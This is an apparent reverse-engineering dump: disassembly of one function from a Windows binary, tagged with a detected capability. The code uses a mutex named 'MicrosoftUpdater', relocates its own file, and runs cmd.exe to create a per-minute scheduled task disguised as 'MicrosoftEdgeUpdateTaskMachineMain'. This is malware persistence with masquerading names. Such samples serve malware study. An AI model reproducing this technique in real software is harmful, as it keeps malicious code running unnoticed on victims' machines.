Function at 0x403c50
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x828
mov eax, dword [0x4e83c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edi, eax
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test edi, edi
je 0x403cb2
push str.CreateMutexW
push edi
call ebx
test eax, eax
jne 0x403c94
push edi
call esi
jmp 0x403cb2
push str.MicrosoftUpdater
push 0
push 0
call eax
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x403f2f
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x2710
call edi
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x828], eax
test eax, eax
je 0x403dd2
push 0x4e2eb0
push eax
call ebx
test eax, eax
jne 0x403cf1
push dword [ebp - 0x828]
call esi
jmp 0x403dd2
push 0x104
lea ecx, [ebp - 0x414]
push ecx
push 0
call eax
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x828], eax
test eax, eax
je 0x403dd2
push 0x4e2ed4
push eax
call ebx
test eax, eax
jne 0x403d33
push dword [ebp - 0x828]
call esi
jmp 0x403dd2
lea ecx, [ebp - 0x61c]
push ecx
push 0x104
call eax
lea eax, [ebp - 0x61c]
push eax
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.0046d760
push 0x4e2fa8
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.0046dbb0
lea eax, [ebp - 0x414]
push 0x5c
push eax
call fcn.00464300
add eax, 2
push eax
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.0046dbb0
add esp, 0x2c
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x828], eax
test eax, eax
je 0x403dd2
push str.MoveFileExW
push eax
call ebx
test eax, eax
jne 0x403dc0
push dword [ebp - 0x828]
call esi
jmp 0x403dd2
push 1
lea ecx, [ebp - 0x20c]
push ecx
lea ecx, [ebp - 0x414]
push ecx
call eax
push 0x3e8
call edi
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x828], eax
test eax, eax
je 0x403f21
push 0x4e2eb0
push eax
call ebx
test eax, eax
jne 0x403e0b
push dword [ebp - 0x828]
call esi
jmp 0x403f21
push 0x104
lea ecx, [ebp - 0x824]
push ecx
push 0
call eax
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x828], eax
test eax, eax
je 0x403f21
push 0x4e2ed4
push eax
call ebx
test eax, eax
jne 0x403e4d
push dword [ebp - 0x828]
call esi
jmp 0x403f21
lea ecx, [ebp - 0x61c]
push ecx
push 0x104
call eax
lea eax, [ebp - 0x61c]
push eax
lea eax, [ebp - 0x414]
push 0x104
push eax
call fcn.0046d760
lea eax, [ebp - 0x824]
push 0x5c
push eax
call fcn.00464300
add eax, 2
push eax
lea eax, [ebp - 0x414]
push 0x104
push eax
call fcn.0046dbb0
push str._c_schtasks__create__sc_minute__tn_MicrosoftEdgeUpdateTaskMachineMain__tr__
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.0046d760
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.0046dbb0
push str.___f
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.0046dbb0
add esp, 0x44
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x828], eax
test eax, eax
je 0x403f21
push str.ShellExecuteW
push eax
call ebx
test eax, eax
jne 0x403f08
push dword [ebp - 0x828]
call esi
jmp 0x403f21
push 0
push 0
lea ecx, [ebp - 0x20c]
push ecx
push str.cmd.exe
push str.open
push 0
call eax
call fcn.004031a0
push 0x1388
call edi
jmp 0x403f21
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004620f0
mov esp, ebp
pop ebp
ret